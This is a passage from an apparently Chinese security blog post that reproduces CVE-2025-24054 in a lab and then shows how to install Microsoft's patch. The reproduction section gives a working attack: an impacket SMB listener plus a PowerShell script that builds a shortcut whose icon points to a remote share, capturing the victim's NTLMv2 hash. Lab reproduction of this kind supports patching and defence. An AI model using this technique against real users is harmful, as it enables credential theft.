url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2.2复现</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Kali Linux启动impacket渗透组件，开启一个 SMB 服务器来侦听传入的 SMB 连接</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">impacket-smbserver share . -smb2support</span></code></pre><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">impacket-smbserver：为对应的impacket渗透组件</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">share .</span></code><span leaf="">：指将当前目录作为share共享</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">smb2support：开启SMB服务支持</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002093" data-ratio="0.16557017543859648" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=69ba59b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8frdIFJulM6MlsNy2GXzycVLrzGudLiaZ2sXGWLrTDb1bUibav5n7ELEpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">然后在受害机执行如下PowerShell脚本，新建一个PowerShell脚本文件1.ps1，写入如下内容（注意替换为自己的Kali Linux IP地址，此处我的Kali Linux IP地址为192.168.48.129）：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf=""># lnk文件的地址，若要复现请替换为自己的地址</span></span><span leaf="">$shortcutPath = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Users\Divide\Desktop\lab.lnk&#34;</span></span><span leaf=""># 目标程序的路径</span><span leaf="">$targetPath = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Windows\System32\notepad.exe&#34;</span></span><span leaf=""># 指定快捷方式使用的图标文件（.ico）的位置为远程地址，此处为关键点，只有设置为远程地址，才能让他访问我们开启的SMB服务器</span><span leaf="">$iconLocation = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\\192.168.48.129\share\icon.ico&#34;</span></span><span leaf=""># 创建一个 Windows Script Host Shell 对象（通过 COM 组件 WScript.Shell）。  </span><span leaf=""># 这个对象提供了操作快捷方式、环境变量、执行程序等能力。  </span><span leaf=""># 将该对象赋值给变量$wShell，后续通过它来创建和管理快捷方式。</span><span leaf="">$wShell = New-Object -ComObject WScript.Shell</span><span leaf=""># 如果该路径已存在快捷方式，则会覆盖；如果不存在，则创建一个新的快捷方式对象</span><span leaf="">$shortcut = $wShell.CreateShortcut($shortcutPath)</span><span leaf=""># 设置快捷方式的“目标”属性，即点击快捷方式时要启动的程序路径</span><span leaf="">$shortcut.TargetPath = $targetPath</span><span leaf=""># 这里使用的是远程网络路径中的 .ico 图标文件</span><span leaf="">$shortcut.IconLocation = $iconLocation</span><span leaf=""># 对快捷方式对象的修改保存到磁盘中</span><span leaf="">$shortcut.Save()</span><span leaf="">Write-Output </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Shortcut created at: $shortcutPath&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将创建一个带有基于 SMB 的远程图标的 LNK（LNK就是快捷方式，带有一个图标）</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002095" data-ratio="0.5768518518518518" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e3e88671&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fEJISI3XPlyxGB5hia5iaBdJpgSC50atTzelUrfru72lqaIKakTlkYSRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">运行它，通过查看资源管理器中的图标，我们将获得当前正在运行的用户打开 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">explorer.exe</span></code><span leaf="">（资源管理器） 进程的 NTLMv2-SSP 哈希值。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">若PowerShell执行报错，执行如下命令输入y即可执行我们编写的PowerShell脚本</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/ps68icnpRvDUXp5ia3dFtksTBg2bZW7AUzIodNoxp6kkQ3b4gZWa70B1xDyricpL4xJgFzCwZ1yDaXOHEQFRMsQlgg2m7ERJugp/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">set-ExecutionPolicy RemoteSigned</span><span leaf="">y</span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002094" data-ratio="0.2712962962962963" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ffbecb63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8feMdR9v62JnyhOzzxicWZv9hKypiaZxwbmkkibIxgOrsWTT4sCs8Bf33hA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当运行成功后，结果如下，成功获取到对应用户的hash值：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002096" data-ratio="0.2361111111111111" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a3303a3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fmwTHyXCq6mOL35BQJk6bvXz9KVg43ZeHmTUATGtMBRZSwFvI0toK7Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fl6G1bY0VgicIb7dV0DCFGZlibNy44hJ3u8oKL4YYUBVEcWzdPoJ2qBKw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2.3对应补丁以及漏洞信息</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054" target="_blank">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054</a></span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3.1下载安装补丁</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Win键+R键，输入winver查看对应的Windows版本</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002092" data-ratio="0.9002890173410405" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="692" src="https://wechat2rss.xlab.app/img-proxy/?k=73df5126&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fqvzcKkicW2OUGeLNKLzp15f8WXBYic8NgcbRbe7uBWWJNwPI87JDiaqLw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">到网站下载补丁</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002099" data-ratio="0.4740740740740741" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9b930a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fLPX08BUIiauqvvuFh8CtGPVZbZFMyaQ022jklFl1LBYicbSZSS3ygibSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002098" data-ratio="0.4740740740740741" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e4109be3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fvSnDndmdA0Akc40MfkSrZ8GDku3xUKKOkclc599okgqJHgsWsedwDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">点击即可下载</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002097" data-ratio="0.822429906542056" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="642" src="https://wechat2rss.xlab.app/img-proxy/?k=f7f0898b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibc9lOKElKtibYyWnKGmrkZ8fr53aPSdLI963Zq5mpQHruzpv0rBaNr8zk9tssLibAJg5ian4DOA3crZA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: center;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">下载完直接放到对应机器双击安装即可</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: 